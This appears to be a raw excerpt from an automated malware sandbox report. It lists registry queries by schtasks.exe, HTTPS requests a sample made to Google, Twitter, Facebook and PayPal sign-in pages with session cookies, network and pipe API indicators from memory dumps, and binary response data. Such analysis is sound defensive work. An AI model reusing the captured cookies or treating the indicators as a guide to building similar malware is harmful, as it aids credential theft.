"HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")64:T2cb7,Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.bing.comDNT: 1Connection: Keep-AliveCookie: SRCHD=AF=IESS4A; SRCHUID=V=2&GUID=DD3EB05AD9C54D24A2443E918EB9AD6D&dmnchg=1; SRCHUSR=DOB=20220131&T=1643622536000; _UR=D=0; SRCHHPGUSR=SRCHLANG=en&BRW=HTP&BRH=S&CW=1024&CH=472&SW=1024&SH=611&DPR=1&UTC=60&DM=3&WTS=63779219336&HV=1643615337"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:Rd2s4wOJQQr8Noq93XgIqVRhvAfobg:oZHccuyTLLxjK_FKConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyyHB0DVQpSUxd08jMtX3cF2ahfeQdSc1tk-e0xNxiRwWzKAFeNU6qUeCkyKbaev958NDvBf8w HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:Rd2s4wOJQQr8Noq93XgIqVRhvAfobg:oZHccuyTLLxjK_FK"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyxFJQoPcoKm1i_Mq50x0rwqnHwCCOfmmdjhv6Mb7HgxpGOUtLEzSGyQwdbUCzMi96-g6RR5g&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-636563394%3A1698716290815577&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:Rd2s4wOJQQr8Noq93XgIqVRhvAfobg:oZHccuyTLLxjK_FK"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:Rd2s4wOJQQr8Noq93XgIqVRhvAfobg:oZHccuyTLLxjK_FK"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:lQdbaRk0AiNpdgCqQzbZt6Rs8W_JCQ:1qcdRwCgnAuleR2u"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyzY2bwTXHD1szMLZqp8q9D9ZSeFxM5-rDhSyIm_Lo2zuH4FSCx3gC0zJWrU__lVSEP0_lVcJQ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:KYaUJIqEdB4A73NAxgYtrKFkSE-4SA:StocvuuJNuXlweYLConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyw6MAssCL9yH0G-GSFUI7c1I4BRY0M1gGc8DCISYLmYB554h6EqZiiicRAwkHeaNEKa3AJpDA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-452087031%3A1698716297571948&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:KYaUJIqEdB4A73NAxgYtrKFkSE-4SA:StocvuuJNuXlweYL"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:KYaUJIqEdB4A73NAxgYtrKFkSE-4SA:StocvuuJNuXlweYL"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:KYaUJIqEdB4A73NAxgYtrKFkSE-4SA:StocvuuJNuXlweYL; OTZ=7273927_52_52_123900_48_436380"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=5196546901673324884&bl=boq_identityfrontendauthuiserver_20231022.06_p0&hl=en-US&_reqid=33339&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S-452087031:1698716297571948",null,null,"AVQVeyw6MAssCL9yH0G-GSFUI7c1I4BRY0M1gGc8DCISYLmYB554h6EqZiiicRAwkHeaNEKa3AJpDA"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:KYaUJIqEdB4A73NAxgYtrKFkSE-4SA:StocvuuJNuXlweYL; OTZ=7273927_52_52_123900_48_436380"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=7901259833716445060&bl=boq_identityfrontendauthuiserver_20231022.06_p0&hl=en-US&_reqid=33129&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S-636563394:1698716290815577",null,null,"AVQVeyyxFJQoPcoKm1i_Mq50x0rwqnHwCCOfmmdjhv6Mb7HgxpGOUtLEzSGyQwdbUCzMi96-g6RR5g"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:KYaUJIqEdB4A73NAxgYtrKFkSE-4SA:StocvuuJNuXlweYL; OTZ=7273927_52_52_123900_48_436380"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:OVAie2fcVUw3Z7iBobDD3Dn-28NEuA:vDUXk3OaFp82ZDJ9; OTZ=7273927_52_52_123900_48_436380; NID=511=hGUDlKkGcUMuuOu472bL4xbA1NvilQyDlryb4YVKvSLxpui2jbYhG99SPnitEiI85Rh5mU6ZvNvsWTGyMQOivFhEOkyAr2kvrMr4dtDbVUERWOPuu0J2PXzbpFa72yXSDHBdeE91SLQeZI0TJfAObsdWDkYMcPIDDfnod8TBDTQ"; in File: "SSL") Found requests in header "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: twitter.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /errors/logo46x38.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://twitter.com/i/flow/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: abs.twimg.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /web/res/9be/71f219fbd1e6dd2c9264422cf6969/js/lib/fn-sync-telemetry-min.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /web/res/9be/71f219fbd1e6dd2c9264422cf6969/js/lib/modernizr-2.6.1.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /web/res/9be/71f219fbd1e6dd2c9264422cf6969/css/contextualLoginElementalUIv2.css HTTP/1.1Accept: text/css, */*Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /webcaptcha/ngrlCaptcha.min.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /images/shared/glyph_alert_critical_big-2x.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /web/res/9be/71f219fbd1e6dd2c9264422cf6969/js/signin-split.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /images/shared/icon-PN-check.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /webcaptcha/grcenterprise_v3_static.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive"; in File: "SSL")65:Ta34,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00002492-00000C26-44368493") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00002492-00000C26-44406707") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001608.00000000.76983.0022C000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001608.00000000.76983.0022C000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00001608.00000000.76983.0022C000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001608.00000000.76983.0022C000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001608.00000000.76983.0022C000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001608.00000000.76983.0022C000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001608.00000000.76983.0022C000.00000002.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00002420.00000000.69114.0022D000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00002420.00000000.69114.0022D000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00002420.00000000.69114.0022D000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00002420.00000000.69114.0022D000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00002420.00000000.69114.0022D000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00002420.00000000.69114.0022D000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00002420.00000000.69114.0022D000.00000002.mdmp") Found reference to API "55003461593,232,3198,,HttpOpenRequestA,Wininet.dll,"253:37:34.390",RX=0,PX=0" (Indicator: "HttpOpenRequest"; Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp, 00000000-00003064.00000002.71916.004F0000.00000004.mdmp") Found reference to API "62546224076,232,3204,,InternetReadFile,Wininet.dll,"254:10:38.515",RX=0,PX=0" (Indicator: "InternetReadFile"; Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp")66:T402,Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; File: "00000000-00002092.00000002.72502.00417000.00000004.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; File: "00000000-00002092.00000002.72502.00417000.00000004.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00001608.00000000.76983.0022C000.00000002.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00002092.00000000.68691.00417000.00000004.mdmp, 00000000-00002092.00000001.70611.00417000.00000004.mdmp, 00000000-00002092.00000002.72502.00417000.00000004.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00002092.00000000.68691.00417000.00000004.mdmp, 00000000-00002092.00000001.70611.00417000.00000004.mdmp, 00000000-00002092.00000002.72502.00417000.00000004.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00002420.00000000.69114.0022D000.00000002.mdmp")67:T116bb,"GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.bing.comDNT: 1Connection: Keep-AliveCookie: SRCHD=AF=IESS4A; SRCHUID=V=2&GUID=DD3EB05AD9C54D24A2443E918EB9AD6D&dmnchg=1; SRCHUSR=DOB=20220131&T=1643622536000; _UR=D=0; SRCHHPGUSR=SRCHLANG=en&BRW=HTP&BRH=S&CW=1024&CH=472&SW=1024&SH=611&DPR=1&UTC=60&DM=3&WTS=63779219336&HV=1643615337" "HTTP/1.1 200 OKCache-Control: public, max-age=15552000Content-Length: 4286Content-Type: image/x-iconLast-Modified: Mon, 01 Jan 1601 00:00:00 GMTX-EventID: 6474e10126014b79a27716ed5309568eUserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=Content-Security-Policy-Report-Only: script-src https: 'strict-dynamic' 'report-sample' 'nonce-E9Ma3EAteBkXZIeIgvIk1DU7TNTYilAXamYYLU7CGng='; base-uri 'self';report-to csp-endpointReport-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]}Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionX-MSEdge-Ref: Ref A: A168BDB479AC4149AC590D201C1BC09A Ref B: CO1EDGE1309 Ref C: 2023-05-31T20:45:09ZDate: Tue, 31 Oct 2023 01:37:57 GMTConnection: keep-aliveAlt-Svc: h3=":443"; ma=93600X-CDN-TraceID: 0.b4fe19b8.1698716277.466fee4 �( @ ��N��Sz��R��R��P��N��L��H��DG��R6��U��U��S��R��P��N��L��I��F��B��7��S6��V��V��U��S��R��P��N��L��I��F��C��?��:z��O��W��V��V��U��S��R��P��N��L��I��E��C��?��;��{7��q2$��T��D��].��S)��p6��J��R��P��N��L��I��E��B��>��;��z7��p2��f,X��A��O#��N!��N!��N!��P$��q:��P��N��K��I��E��A��=��9��x5��n0��e,��5��Ea�Z,��T$��T$��T$��T$��T$��T$��OG��L��K��H��D��A��<��7��v3��l-��a(��[$��`@��p0R�['��['��['��['��['��['��['��H��G��C��?��:��~5��s0��h*��]$��S��]��a+E�a+��a+��a+��a+��a+��a+��a+��D$�@��=��8��{3��p-��d&��X��P��Z��_��h-E�h-��h-��h-��h-��h-��h-��h-��:G�4��x/��l)��_!��S��o!��U��\@��n/E�n/��n/��n/��n/��n/��n/��n/��s*z�g$��Y��c��B��O��X@��s1E�s1��s1��s1��s1��s1��s1��s1��`��ݰ"��4��@��J��S@��z2E�z2��z2��z2��z2��z2��z2��z2��*��%��!��-��9��E��N0��3E��3��3��3��3��3��3��3�� (��"��&��2��?��4E��4��4��4��4��4��4��4��2 ��.��*��&�� +��7��5E��5��5��5��5��5��5��5��3��0��,��)��#��$��0��6E��6��6��6��6��6��6��6��4��2��/��+��'�� 0��7E��7��7��7��7��7��7��7��6P��5��3��1��-��)��$��7E��7��7��7��7��7��7��7��7��5��4��3��/��,��(@��8E��8��8��8��8��8��8��8��7��6��5��4��1P��8E��8��8��8��8��8��8��8��70��7��6`��9E��9��9��9��9��9��9��9��9E��9��9��9��9��9��9��9��9E��9��9��9��9��9��9��9��:E��:��:��:��:��:��:��:��:E��:��:��:��:��:��:��9��;E��;��;��;��;��;��;��:��;E��;��;��;��;��;��:��;��;��:v��?��?��?��", "HTTP/1.1 200 OKCache-Control: public, max-age=15552000Content-Length: 4286Content-Type: image/x-iconLast-Modified: Mon, 01 Jan 1601 00:00:00 GMTX-EventID: 6474e10126014b79a27716ed5309568eUserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=Content-Security-Policy-Report-Only: script-src https: 'strict-dynamic' 'report-sample' 'nonce-E9Ma3EAteBkXZIeIgvIk1DU7TNTYilAXamYYLU7CGng='; base-uri 'self';report-to csp-endpointReport-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]}Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionX-MSEdge-Ref: Ref A: A168BDB479AC4149AC590D201C1BC09A Ref B: CO1EDGE1309 Ref C: 2023-05-31T20:45:09ZDate: Tue, 31 Oct 2023 01:37:57 GMTConnection: keep-aliveAlt-Svc: h3=":443"; ma=93600X-CDN-TraceID: 0.b4fe19b8.1698716277.467003c �( @ ��N��Sz��R��R��P��N��L��H��DG��R6��U��U��S��R��P��N��L��I��F��B��7��S6��V��V��U��S��R��P��N��L��I��F��C��?��:z��O��W��V��V��U��S��R��P��N��L��I��E��C��?��;��{7��q2$��T��D��].��S)��p6��J��R��P��N��L��I��E��B��>��;��z7��p2��f,X��A��O#��N!��N!��N!��P$��q:��P��N��K��I��E��A��=��9��x5��n0��e,��5��Ea�Z,��T$��T$��T$��T$��T$��T$��OG��L��K��H��D��A��<��7��v3��l-��a(��[$��`@��p0R�['��['��['��['��['��['��['��H��G��C��?��:��~5��s0��h*��]$��S��]��a+E�a+��a+��a+��a+��a+��a+��a+��D$�@��=��8��{3��p-��d&��X��P��Z��_��h-E�h-��h-��h-��h-��h-��h-��h-��:G�4��x/��l)��_!��S��o!��U��\@��n/E�n/��n/��n/��n/��n/��n/��n/��s*z�g$��Y��c��B��O��X@��s1E�s1��s1��s1��s1��s1��s1��s1��`��ݰ"��4��@��J��S@��z2E�z2��z2��z2��z2��z2��z2��z2��*��%��!��-��9��E��N0��3E��3��3��3��3��3��3��3��,��(��"��&��2��?��4E��4��4��4��4��4��4��4��2 ��.��*��&�� +��7��5E��5��5��5��5��5��5��5��3��0�� )��#��$��0��6E��6��6��6��6��6��6��6��4��2��/��+��'�� 0��7E��7��7��7��7��7��7��7��6P��5��3��1��-��)��$��7E��7��7��7��7��7��7��7��7��5��4��3��/��,��(@��8E��8��8��8��8��8��8��8��7��6��5��4��1P��8E��8��8��8��8��8��8��8��70��7��6`��9E��9��9��9��9��9��9��9��9E��9��9��9��9��9��9��9��9E��9��9��9��9��9��9��9��:E��:��:��:��:��:��:��:��:E��:��:��:��:��:��:��9��;E��;��;��;��;��;��;��:��;E��;��;��;��;��;��:��;��;��:v��?��?��?��", "HTTP/1.1 200 OKCache-Control: public, max-age=15552000Content-Length: 4286Content-Type: image/x-iconLast-Modified: Mon, 01 Jan 1601 00:00:00 GMTX-EventID: 6474e10126014b79a27716ed5309568eUserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=Content-Security-Policy-Report-Only: script-src https: 'strict-dynamic' 'report-sample' 'nonce-E9Ma3EAteBkXZIeIgvIk1DU7TNTYilAXamYYLU7CGng='; base-uri 'self';report-to csp-endpointReport-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]}Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionX-MSEdge-Ref: Ref A: A168BDB479AC4149AC590D201C1BC09A Ref B: CO1EDGE1309 Ref C: 2023-05-31T20:45:09ZDate: Tue, 31 Oct 2023 01:38:06 GMTConnection: keep-aliveAlt-Svc: h3=":443"; ma=93600X-CDN-TraceID: 0.b4fe19b8.1698716286.4672907 �( @ ��N��Sz��R��R��P��N��L��H��DG��R6��U��U��S��R��P��N��L��I��F��B��7��S6��V��V��U��S��R��P��N��L��I��F��C��?��:z��O��W��V��V��U��S��R��P��N��L��I��E��C��?��;��{7��q2$��T��D��].��S)��p6��J��R��P��N��L��I��E��B��>��;��z7��p2��f,X��A��O#��N!��N!��N!��P$��q:��P��N��K��I��E��A��=��9��x5��n0��e,��5��Ea�Z,��T$��T$��T$��T$��T$��T$��OG��L��K��H��D��A��<��7��v3��l-��a(��[$��`@��p0R�['��['��['��['��['��['��['��H��G��C��?��:��~5��s0��h*��]$��S��]��a+E�a+��a+��a+��a+��a+��a+��a+��D$�@��=��8��{3��p-��d&��X��P��Z��_��h-E�h-��h-��h-��h-��h-��h-��h-��:G�4��x/��l)��_!��S��o!��U��\@��n/E�n/��n/��n/��n/��n/��n/��n/��s*z�g$��Y��c��B��O��X@��s1E�s1��s1��s1��s1��s1��s1��s1��`��ݰ"��4��@��J��S@��z2E�z2��z2��z2��z2��z2��z2��z2��*��%��!��-��9��E��N0��3E��3��3��3��3��3��3��3��,��(��"��&��2��?��4E��4��4��4��4��4��4��4��2 ��.��*��&�� +��7��5E��5��5��5��5��5��5��5��3��0�� )��#��$��0��6E��6��6��6��6��6��6��6��4��2��/��+��'�� 0��7E��7��7��7��7��7��7��7��6P��5��3��1��-��)��$��7E��7��7��7��7��7��7��7��7��5��4��3��/��,��(@��8E��8��8��8��8��8��8��8��7��6��5��4��1P��8E��8��8��8��8��8��8��8��70��7��6`��9E��9��9��9��9��9��9��9��9E��9��9��9��9��9��9��9��9E��9��9��9��9��9��9��9��:E��:��:��:��:��:��:��:��:E��:��:��:��:��:��:��9��;E��;��;��;��;��;��;��:��;E��;��;��;��;��;��:��;��;��:v��?��?��?��", "HTTP/1.1 200 OKCache-Control: public, max-age=15552000Content-Length: 4286Content-Type: image/x-iconLast-Modified: Mon, 01 Jan 1601 00:00:00 GMTX-EventID: 6474e10126014b79a27716ed5309568eUserAgentReductionOptOut: 